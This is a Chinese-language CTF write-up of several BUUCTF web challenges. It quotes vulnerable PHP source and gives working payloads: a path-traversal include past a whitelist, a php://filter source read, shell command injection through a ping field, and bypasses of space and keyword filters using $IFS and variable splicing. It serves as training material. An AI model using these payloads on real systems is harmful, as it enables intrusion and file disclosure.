[极客大挑战 2019]Havefun
看页面源码,发个cat=dog的query即可
[HCTF 2018]WarmUp
f12页面提示我们访问source.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( //获取两个??之间的内容 $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
|
包含hint后得知我们最后需要包含ffffllllaaaagggg文件
吧没什么用的代码删一下
1 2 3 4 5 6 7 8 9 10 11 12
| $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; $_page = urldecode($page); $_page = mb_substr( //获取两个??之间的内容 $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false;
|
我们需要想办法使她返回true
可知我们的参数需要满足以下格式 source.php?[something]
或 hint.php?[something]
最后的query参数为?file=source.php?../../../../../ffffllllaaaagggg
实际include的文件为 source.php?../../../../../ffffllllaaaagggg
疑问
这里有一个不理解,就是?会怎么处理,实验发现貌似?被忽略了
[ACTF2020 新生赛]Include
进来就一个tips,点一下跳转到/?file=flag.php
一开始猜是任意文件包含,然后看了一下好像没啥可构造的,源码干净的一批
然后就想如何获取源码,有了源码一切就好说了
答案是php伪协议
PHP伪协议总结
php://filter/read=convert.base64-encode/resource=flag.php
读取php文件源码(不然就被执行了)
`
[ACTF2020 新生赛]Exec
看名字Exec(执行)然后网页上一个大大的ping
那猜测是直接用系统的ping命令
使用命令localhost;ls
测试,成功输出了文件列表
localhost;ls \
找到flag
localhost;cat \flag
获取flag
[GXYCTF2019]Ping Ping Ping
这道题和 ‘[ACTF2020 新生赛]Exec’很相似,但是加了N多屏蔽
ls完了发现需要cat一下flag.php
这里的php过滤很狠,过滤了空格,换行符,等等
查阅资料发现可以用以下方式绕过
$IFS (这是Linux命令和参数的分隔符)
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行,这里主要是让$停止识别IFS之后的字母
< 这俩不明白
<>
{cat,flag.php} //用逗号实现了空格功能
%20 url编码
%09 这是啥??????????
注,cat有时候被屏蔽,可以用tac,或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag
通过这个尝试查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| /?ip= <pre>/?ip= <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
|
过滤了相当多的东西,而且flag有正则匹配
此处对flag的绕过采用了Linux Shell变量的方法:
/ip=1;a=g;cat$IFS$1fla$a.php
查看网页源码得flag